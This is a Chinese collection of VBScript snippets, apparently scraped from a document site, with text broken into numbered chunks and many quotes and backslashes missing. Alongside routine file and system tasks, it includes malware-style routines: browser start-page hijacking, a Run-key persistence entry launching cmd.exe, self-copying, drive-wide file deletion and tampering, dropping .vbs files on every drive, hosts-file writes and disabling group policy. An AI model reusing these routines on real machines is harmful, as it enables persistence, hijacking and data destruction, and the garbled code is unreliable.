1、VBS常用脚本昨天为了解密那个加密的vbs脚本,在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。VBS脚本用途很多:1. 计算2. 处理文件和文件夹3. 管理Windows4. 处理Word, Excel, PowerPoint等Office文档5. 嵌入网页,驱动dHTML6. 编写HTTP通信7. 调用系统功能(COM组件),比如说语音说话8. 分析HTML, XML9. 调用命令行并分析返回结果10. 处理图片11. 自动化按键12. 调用Windows Media Player并管理13. 调用Windows Live Messenger并管理14. 服务端技术:
2、Active Server Page (ASP)15. 脚本病毒16. 处理数据库下面是我收集的VBS代码,大部分转自gangzi.org,以后还会更新。VBS获取系统安装路径先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。set WshShell = WScript.CreateObject(WScript.Shell)strWinDir = WshShell.ExpandEnvironmentStrings(%WinDir%)VBS获取C:Program Files路径msgbox CreateObject(WScript.Shell).ExpandE
3、nvironmentStrings(%ProgramFiles%)VBS获取C:Program FilesCommon Files路径msgbox CreateObject(WScript.Shell).ExpandEnvironmentStrings(%CommonProgramFiles%)给桌面添加网址快捷方式set gangzi = WScript.CreateObject(WScript.Shell)strDesktop = gangzi.SpecialFolders(Desktop)set oShellLink = gangzi.CreateShortcut(strDesktop
4、& Internet Explorer.lnk)oShellLink.TargetPath = http:/www.fendou.infooShellLink.Description = Internet ExploreroShellLink.IconLocation = %ProgramFiles%Internet Exploreriexplore.exe, 0oShellLink.Save给收藏夹添加网址Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject(Shell.Application)Set objFolder = ob
5、jShell.Namespace(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject(WScript.Shell)strDesktopFld = objFolderItem.PathSet objURLShortcut = objShell.CreateShortcut(strDesktopFld & 奋斗Blog.url)objURLShortcut.TargetPath = http:/www.fendou.info/objURLShortcut.Save删除
6、指定目录指定后缀文件On Error Resume NextSet fso = CreateObject(Scripting.FileSystemObject)fso.DeleteFile C:*.vbs, TrueSet fso = NothingVBS改主页Set oShell = CreateObject(WScript.Shell)oShell.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page,http:/www.fendou.infoVBS加启动项Set oShell=CreateOb
7、ject(Wscript.Shell)oShell.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionRuncmd,cmd.exeVBS复制自己set copy1=createobject(scripting.filesystemobject)copy1.getfile(wscript.scriptfullname).copy(c:huan.vbs)复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)set copy1=createobject(scripting.filesystemobj
8、ect)copy1.getfile(game.exe).copy(c:gangzi.exe)VBS获取系统临时目录Dim fsoSet fso = CreateObject(Scripting.FileSystemObject)Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder就算代码出错 依然继续执行On Error Resume NextVBS打开网址Set objShell = CreateObject(Ws
9、cript.Shell)objShell.Run(http:/www.fendou.info/)VBS发送邮件NameSpace = Set Email = CreateObject(CDO.Message)Email.From = 发件Email.To = 收件Email.Subject = Test sendmail.vbsEmail.Textbody = OK!Email.AddAttachment C:1.txtWith Email.Configuration.Fields.Item(NameSpace&sendusing) = 2.Item(NameSpace&smtpserver)
10、 = smtp.邮件服务器.com.Item(NameSpace&smtpserverport) = 25.Item(NameSpace&smtpauthenticate) = 1.Item(NameSpace&sendusername) = 发件人用户名.Item(NameSpace&sendpassword) = 发件人密码.UpdateEnd WithEmail.SendVBS结束进程strComputer = .Set objWMIService = GetObject _ (winmgmts: & strComputer & rootcimv2)Set colProcessList
11、= objWMIService.ExecQuery _ (Select * from Win32_Process Where Name = Rar.exe)For Each objProcess in colProcessList objProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)createObject(wscript.shell).run iexplore http:/www.fendou.info/,0兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Fil
12、es路径,应该比上面的方法好,但是两种方法都不是绝对的。Set objws=WScript.CreateObject(wscript.shell)objws.Run C:Program FilesInternet Exploreriexplore.exe,vbhideVBS遍历硬盘删除指定文件名On Error Resume NextDim fPathstrComputer = .Set objWMIService = GetObject _ (winmgmts: & strComputer & rootcimv2)Set colProcessList = objWMIService.Exec
13、Query _ (Select * from Win32_Process Where Name = gangzi.exe)For Each objProcess in colProcessList objProcess.Terminate()NextSet objWMIService = GetObject(winmgmts: _& impersonationLevel=impersonate! & strComputer & rootcimv2)Set colDirs = objWMIService. _ExecQuery(Select * from Win32_Directory wher
14、e name LIKE %c:% or name LIKE %d:% or name LIKE %e:% or name LIKE %f:% or name LIKE %g:% or name LIKE %h:% or name LIKE %i:%)Set objFSO = CreateObject(Scripting.FileSystemObject)For Each objDir in colDirsfPath = objDir.Name & gangzi.exeobjFSO.DeleteFile(fPath), TrueNextVBS获取网卡MAC地址Dim mc,moSet mc=Ge
15、tObject(Winmgmts:).InstancesOf(Win32_NetworkAdapterConfiguration)For Each mo In mcIf mo.IPEnabled=True ThenMsgBox 本机网卡MAC地址是: & mo.MacAddressExit ForEnd IfNextVBS获取本机注册表主页地址Set reg=WScript.CreateObject(WScript.Shell)startpage=reg.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart P
16、age)MsgBox startpageVBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话On Error Resume NextSet fso = CreateObject(Scripting.FileSystemObject)Co = VbCrLf & 路过。For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & ) End IfNextSub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i NextEnd
17、SubSub Wh(fol) Dim i For Each i In fol.Files If LCase(fso.GetExtensionName(i) = shtml Then fso.OpenTextFile(i,8,0).Write Co End If NextEnd Sub获取计算机所有盘符Set fso=CreateObject(scripting.filesystemobject)Set objdrives=fso.Drives 取得当前计算机的所有磁盘驱动器For Each objdrive In objdrives 遍历磁盘MsgBox objdriveNextVBS给本机所
18、有磁盘根目录创建文件On Error Resume NextSet fso=CreateObject(Scripting.FileSystemObject)Set gangzis=fso.Drives 取得当前计算机的所有磁盘驱动器For Each gangzi In gangzis 遍历磁盘Set TestFile=fso.CreateTextFile(&gangzi&新建文件夹.vbs,Ture)TestFile.WriteLine(By www.gangzi.org)TestFile.CloseNextVBS遍历本机全盘找到所有123.exe,然后给他们改名321.exeset fs =
19、 CreateObject(Scripting.FileSystemObject)for each drive in fs.drivesfstraversal drive.rootfoldernextsub fstraversal(byval this)for each folder in this.subfoldersfstraversal foldernextset files = this.filesfor each file in filesif file.name = 123.exe then file.name = 321.exenextend subVBS写入代码到粘贴板(先说明
20、一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)str=“这里是你要复制到剪贴板的字符串”Set ws = wscript.createobject(wscript.shell)ws.run mshta vbscript:clipboardData.SetData(+text+,+&str&+)(close),0,trueQQ自动发消息On Error Resume Nextstr=我是笨蛋/qqSet WshShell=WScript.Cre
21、ateObject(WScript.Shell)WshShell.run mshta vbscript:clipboardData.SetData(+text+,+&str&+)(close),0WshShell.run tencent:/message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1,0,trueWScript.Sleep 3000WshShell.SendKeys vWs
22、hShell.SendKeys %sVBS隐藏文件Set objFSO = CreateObject(Scripting.FileSystemObject)Set objFile = objFSO.GetFile(F:软件大赛show.txt)If objFile.Attributes = objFile.Attributes AND 2 Then objFile.Attributes = objFile.Attributes XOR 2End IfVBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)Randomize 521point=Array(Int(100
23、*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1)msgbox join(point,)VBS删除桌面IE图标(非快捷方式)Set oShell = CreateObject(WScript.Shell)oShell.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoInternetIcon,1,REG_DWORDVBS获取自身文件名Set fso = CreateObject(Scripting.FileSystemObject)msgbox WScript.ScriptNa
24、meVBS读取Unicode编码的文件Set objFSO = CreateObject(Scripting.FileSystemObject)Set objFile = objFSO.OpenTextFile(gangzi.txt,1,False,-1)strText = objFile.ReadAllobjFile.CloseWscript.Echo strTextVBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径set stm2 =createobject(ADODB.Stream)stm2.Charset = utf-8stm2.Openstm2.LoadF
25、romFile gangzireadfile = stm2.ReadTextMsgBox readfileVBS禁用组策略Set oShell = CreateObject(WScript.Shell)oShell.RegWrite HKEY_CURRENT_USERSoftwarePoliciesMicrosoftMMCRestrictToPermittedSnapins,1,REG_DWORDVBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量gangzi=1.txtgangzi2=www.gangzi.orgSet Stm1 = Crea
26、teObject(ADODB.Stream)Stm1.Type = 2Stm1.OpenStm1.Charset = UTF-8Stm1.Position = Stm1.SizeStm1.WriteText gangzi2Stm1.SaveToFile gangzi,2Stm1.Closeset Stm1 = nothingVBS获取当前目录下所有文件夹名字(不包括子文件夹)Set fso=CreateObject(scripting.filesystemobject)Set f=fso.GetFolder(fso.GetAbsolutePathName(.)Set folders=f.Sub
27、FoldersFor Each fo In folders wsh.echo fo.NameNextSet folders=NothingSet f=nothingSet fso=nothingVBS获取指定目录下所有文件夹名字(包括子文件夹)Dim tSet fso=WScript.CreateObject(scripting.filesystemobject)Set fs=fso.GetFolder(d:)WScript.Echo aa(fs)Function aa(n)Set f=n.subfoldersFor Each uu In fSet op=fso.GetFolder(uu.pa
28、th)t=t & vbcrlf & op.pathCall aa(op)Nextaa=tEnd functionVBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)set fso=createobject(scripting.filesystemobject)qidong=qidong&InternetShortcut&Chr(13)&Chr(10)qidong=qidong&URL=http:/www.fendou.info&Chr(13)&Chr(10)qidong=qidong&IconFile=C:WINDOWSsys
29、tem32SHELL32.dll&Chr(13)&Chr(10)qidong=qidong&IconIndex=130&Chr(13)&Chr(10)Set TestFile=fso.CreateTextFile(qq.url,Ture)TestFile.WriteLine(qidong)TestFile.CloseVBS写hosts(没写判断,无论存不存在都追加底部)Set fs = CreateObject(Scripting.FileSystemObject)path = &fs.GetSpecialFolder(1)&driversetchostsSet f = fs.OpenTextFile(path,8,TristateFalse)f.Write &vbcrlf&127.0.0.1 &vbcrlf&127.0.0.1 f.CloseVBS读取出HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerDesktopNameSpace 下面所有键的名字并循环输出Const HKLM = &H800000
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1